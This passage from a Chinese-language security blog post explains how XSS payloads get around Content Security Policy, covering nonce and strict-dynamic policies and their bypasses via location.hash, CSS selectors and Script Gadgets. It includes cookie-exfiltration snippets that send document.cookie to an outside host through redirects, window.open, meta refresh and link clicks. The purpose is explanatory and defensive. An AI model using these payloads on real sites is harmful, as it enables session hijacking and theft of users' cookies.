class="pun">);</span></code></li></ol>这种办法只有chrome可以用,但是意外的好用。
2 跳转 跳转 跳转
在浏览器的机制上, 跳转本身就是跨域行为
1<ol class="linenums"><li class="L0"><code><span class="tag"><script></span><span class="pln">location</span><span class="pun">.</span><span class="pln">href</span><span class="pun">=</span><span class="pln">http</span><span class="pun">:</span><span class="com">//lorexxar.cn?a+document.cookie</span><span class="tag"></script></span></code></li><li class="L1"><code></code></li><li class="L2"><code><span class="tag"><script></span><span class="pln">windows</span><span class="pun">.</span><span class="pln">open</span><span class="pun">(</span><span class="pln">http</span><span class="pun">:</span><span class="com">//lorexxar.cn?a=+document.cooke)</span><span class="tag"></script></span></code></li><li class="L3"><code></code></li><li class="L4"><code><span class="tag"><meta</span><span class="pln"> </span><span class="atn">http-equiv</span><span class="pun">=</span><span class="atv">"refresh"</span><span class="pln"> </span><span class="atn">content</span><span class="pun">=</span><span class="atv">"5;http://lorexxar.cn?c=[cookie]"</span><span class="tag">></span></code></li></ol>通过跨域请求,我们可以把我们想要的各种信息传出
3 跨域请求
在浏览器中,有很多种请求本身就是跨域请求,其中标志就是href。
1<ol class="linenums"><li class="L0"><code><span class="kwd">var</span><span class="pln"> a</span><span class="pun">=</span><span class="pln">document</span><span class="pun">.</span><span class="pln">createElement</span><span class="pun">(</span><span class="str">"a"</span><span class="pun">);</span></code></li><li class="L1"><code><span class="pln">a</span><span class="pun">.</span><span class="pln">href</span><span class="pun">=</span><span class="str">'http://xss.com/?cookie='</span><span class="pun">+</span><span class="pln">escape</span><span class="pun">(</span><span class="pln">document</span><span class="pun">.</span><span class="pln">cookie</span><span class="pun">);</span></code></li><li class="L2"><code><span class="pln">a</span><span class="pun">.</span><span class="pln">click</span><span class="pun">();</span></code></li></ol>包括表单的提交,都是跨域请求
0x04 CSP困境以及升级
在CSP正式被提出作为减轻XSS攻击的手段之后,几年内不断的爆出各种各样的问题。
2016年12月Google团队发布了关于CSP的调研文章《CSP is Dead, Long live CSP》
https://static.googleusercontent.com/media/research.google.com/en//pubs/archive/45542.pdf
Google团队利用他们强大的搜索引擎库,分析了超过160w台主机的CSP部署方式,他们发现。
加载脚本最常列入白名单的有15个域,其中有14个不安全的站点,因此有75.81%的策略因为使用了了脚本白名单,允许了攻击者绕过了CSP。总而言之,我们发现尝试限制脚本执行的策略中有94.68%是无效的,并且99.34%具有CSP的主机制定的CSP策略对xss防御没有任何帮助。
在paper中,Google团队正式提出了两种以前被提出的CSP种类。
1、nonce script CSP
1<ol class="linenums"><li class="L0"><code><span class="pln">header</span><span class="pun">(</span><span class="str">"Content-Security-Policy: default-src 'self'; script-src 'nonce-{random-str}' "</span><span class="pun">);</span></code></li></ol>动态的生成nonce字符串,只有包含nonce字段并字符串相等的script块可以被执行。
1<ol class="linenums"><li class="L0"><code><span class="tag"><script</span><span class="pln"> </span><span class="atn">nonce</span><span class="pun">=</span><span class="atv">"{random-str}"</span><span class="tag">></span><span class="pln">alert</span><span class="pun">(</span><span class="lit">1</span><span class="pun">)</span><span class="tag"></script></span></code></li></ol>这个字符串可以在后端实现,每次请求都重新生成,这样就可以无视哪个域是可信的,只要保证所加载的任何资源都是可信的就可以了。
1<ol class="linenums"><li class="L0"><code><span class="pun"><?</span><span class="pln">php</span></code></li><li class="L1"><code></code></li><li class="L2"><code><span class="typ">Header</span><span class="pun">(</span><span class="str">"Content-Security-Policy: script-src 'nonce-"</span><span class="pun">.</span><span class="pln">$random</span><span class="pun">.</span><span class="str">" '"");</span></code></li><li class="L3"><code><span class="pun">?></span></code></li><li class="L4"><code><span class="pln"><script nonce="</span><span class="pun"><?</span><span class="pln">php echo $random</span><span class="pun">?></span><span class="pln">"></span></code></li></ol>2、strict-dynamic
1<ol class="linenums"><li class="L0"><code><span class="pln">header</span><span class="pun">(</span><span class="str">"Content-Security-Policy: default-src 'self'; script-src 'strict-dynamic' "</span><span class="pun">);</span></code></li></ol>SD意味着可信js生成的js代码是可信的。
这个CSP规则主要是用来适应各种各样的现代前端框架,通过这个规则,可以大幅度避免因为适应框架而变得松散的CSP规则。
Google团队提出的这两种办法,希望通过这两种办法来适应各种因为前端发展而出现的CSP问题。
但攻与防的变迁永远是交替升级的。
1、nonce script CSP Bypass
2016年12月,在Google团队提出nonce script CSP可以作为新的CSP趋势之后,圣诞节Sebastian Lekies提出了nonce CSP的致命缺陷。
Nonce CSP对纯静态的dom xss简直没有防范能力
http://sirdarckcat.blogspot.jp/2016/12/how-to-bypass-csp-nonces-with-dom-xss.html
Web2.0时代的到来让前后台交互的情况越来越多,为了应对这种情况,现代浏览器都有缓存机制,但页面中没有修改或者不需要再次请求后台的时候,浏览器就会从缓存中读取页面内容。
从location.hash就是一个典型的例子
如果JS中存在操作location.hash导致的xss,那么这样的攻击请求不会经过后台,那么nonce后的随机值就不会刷新。
这样的CSP Bypass方式我曾经出过ctf题目,详情可以看
https://lorexxar.cn/2017/05/16/nonce-bypass-script/
除了最常见的location.hash,作者还提出了一个新的攻击方式,通过CSS选择器来读取页面内容。
1<ol class="linenums"><li class="L0"><code><span class="pun">*[</span><span class="pln">attribute</span><span class="pun">^=</span><span class="str">"a"</span><span class="pun">]{</span><span class="pln">background</span><span class="pun">:</span><span class="pln">url</span><span class="pun">(</span><span class="str">"record?match=a"</span><span class="pun">)}</span><span class="pln"> </span></code></li><li class="L1"><code><span class="pun">*[</span><span class="pln">attribute</span><span class="pun">^=</span><span class="str">"b"</span><span class="pun">]{</span><span class="pln">background</span><span class="pun">:</span><span class="pln">url</span><span class="pun">(</span><span class="str">"record?match=b"</span><span class="pun">)}</span><span class="pln"> </span></code></li><li class="L2"><code><span class="pun">*[</span><span class="pln">attribute</span><span class="pun">^=</span><span class="str">"c"</span><span class="pun">]{</span><span class="pln">background</span><span class="pun">:</span><span class="pln">url</span><span class="pun">(</span><span class="str">"record?match=c"</span><span class="pun">)}</span><span class="pln"> </span><span class="pun">[...]</span></code></li></ol>当匹配到对应的属性,页面就会发出相应的请求。
页面只变化了CSS,纯静态的xss。
CSP无效。
2、strict-dynamic Bypass
2017年7月 Blackhat,Google团队提出了全新的攻击方式Script Gadgets。
1<ol class="linenums"><li class="L0"><code><span class="pln">header</span><span class="pun">(</span><span class="str">"Content-Security-Policy: default-src 'self'; script-src 'strict-dynamic' "</span><span class="pun">);</span></code></li></ol>Strict-dynamic的提出正是为了适应现代框架
但Script Gadgets正是现代框架的特性Script Gadgets
一种类似于短标签的东西,在现代的js框架中四处可见1<ol class="linenums"><li class="L0"><code><span class="typ">For</span><span class="pln"> example</span><span class="pun">:</span></code></li><li class="L1"><code><span class="typ">Knockout</span><span class="pun">.</span><span class="pln">js</span></code></li><li class="L2"><code></code></li><li class="L3"><code><span class="pun"><</span><span class="pln">div data</span><span class="pun">-</span><span class="pln">bind</span><span class="pun">=</span><span class="str">"value: 'foo'"</span><span class="pun">></</span><span class="pln">div</span><span class="pun">></span></code></li><li class="L4"><code></code></li><li class="L5"><code><span class="typ">Eval</span><span class="pun">(</span><span class="str">"foo"</span><span class="pun">)</span></code></li><li class="L6"><code></code></li><li class="L7"><code><span class="pun"><</span><span class="pln">div data</span><span class="pun">-</span><span class="pln">bind</span><span class="pun">=</span><span class="str">"value: alert(1)"</span><span class="pun">></</span><span class="pln">dib</span><span class="pun">></span></code></li><li class="L8"><code></code></li><li class="L9"><code><span class="pln">bypass</span></code></li></ol>Script Gadgets本身就是动态生成的js,所以对新型的CSP几乎是破坏式的Bypass。
0x05 写在最后
说了一大堆,黑名单配合CSP仍然是最靠谱的防御方式。
但,防御没有终点…
0x06 ref